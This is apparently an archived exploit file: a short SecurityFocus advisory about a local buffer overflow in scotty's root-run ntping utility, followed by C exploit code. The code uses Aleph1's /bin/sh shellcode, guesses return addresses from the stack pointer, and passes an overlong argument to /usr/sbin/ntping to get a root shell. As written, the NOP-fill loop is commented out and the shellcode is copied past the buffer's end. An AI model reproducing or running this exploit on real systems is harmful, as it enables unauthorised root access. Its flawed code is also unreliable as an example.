56 lines
No EOL
1.9 KiB
C
56 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/2911/info
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ntping is a component of scotty, a Tcl interpreter used to retrieve status and configuration information for TCP/IP networks. The utility, which runs with root privileges, contains a locally exploitable buffer overflow vulnerability. A local attacker can supply a long string as a command line argument to ntping, which, if the argument is of sufficient length (approximately 9000 characters) will induce a segfault.
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If the input is carefully constructed, a local attacker can exploit this vulnerability to execute arbitrary code on the target host.
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/*Larry W. Cashdollar 6/13/2001
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http://vapid.dhs.org Vapid Labs
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Overflows ntping for scotty-2.1.9 based on post by
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dotslash@snosoft.com*/
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#include <stdio.h>
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#include <stdlib.h>
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#define NOP 0x90 /*no operation skip to next instruction. */
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#define LEN 590 /*our buffersize. */
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/*lacks a call to setuid(0)*/
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char shellcode[]= /*Aleph1's shell code. */
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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/*Nab the stack pointer to use as an index into our nop's*/
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long
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get_sp ()
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{
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__asm__ ("mov %esp, %eax");
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}
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int
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main (int argc, char *argv[])
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{
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char buffer[LEN];
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int i;
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long retaddr = get_sp ();
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/*Fill the buffer with our new address to jump to esp + offset */
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for (i = 0; i < LEN; i += 4)
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*(long *) &buffer[i] = retaddr + atoi (argv[1]);
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/*copy the NOPs in to the buffer leaving space for shellcode and
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pointers*/
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printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]),LEN);
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/*
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for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
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*(buffer + i) = NOP;*/
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/*copy the shell code into the buffer*/
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memcpy (buffer + i, shellcode, strlen (shellcode));
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execl ("/usr/sbin/ntping", "ntping", buffer,0, 0);
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} |